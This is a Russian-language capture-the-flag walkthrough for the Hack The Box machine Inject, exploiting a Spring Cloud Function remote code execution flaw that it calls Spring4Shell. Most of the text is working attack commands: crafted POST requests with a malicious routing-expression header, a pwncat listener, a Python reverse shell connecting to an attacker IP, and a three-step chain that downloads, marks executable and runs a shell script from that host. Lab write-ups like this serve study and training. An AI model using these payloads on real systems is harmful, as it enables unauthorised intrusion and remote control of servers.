Эксплуатация уязвимости Spring4Shell в фреймворке Spring

Сегодня, в рамках прохождения машины Inject с площадки Hack The Box, я покажу, как эксплуатировать уязвимость Spring4Shell в фреймворке Spring.

Еще по теме: Способы эксплуатации уязвимости Log4j

Что такое Spring

В этом проекте используется фреймворк Spring — это средство внедрения зависимостей с несколькими удобными слоями (среди них — доступ к базе данных, прокси, аспектно ориентированное программирование, RPC, веб‑инфраструктура и прочие).

Все это позволяет быстрее и удобнее создавать приложения на Java, но использование таких фреймворков может привести к рискам для безопасности. Так, эта версия Spring содержит известную уязвимость Spring4Shell.

Эксплуатация уязвимости Spring4Shell в фреймворке Spring

Этот баг приводит к удаленному выполнению кода (RCE). Подробнее о том, как это работает, можете прочитать в блоге Sysdig. Чтобы проверить уязвимость, попробуем запустить простой веб‑сервер на основе Python 3 и обратиться к нему с удаленного сервера:

1	curl http://10.10.14.16/test_rce

Получится такой запрос:

1	curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/test_rce")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

Видим запрос в логах, а значит, уязвимость подтверждена. Запускаем листенер:

1	pwncat-cs -lp 4321

И выполняем реверс‑шелл. В качестве шелла используем следующий проверенный временем код на Python:

1	python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Одной командой это выполнить не вышло, поэтому первой командой скачиваем реверс‑шелл, второй присваиваем права для выполнения, а третьей выполняем шелл.

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/rs.sh -o /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("/tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'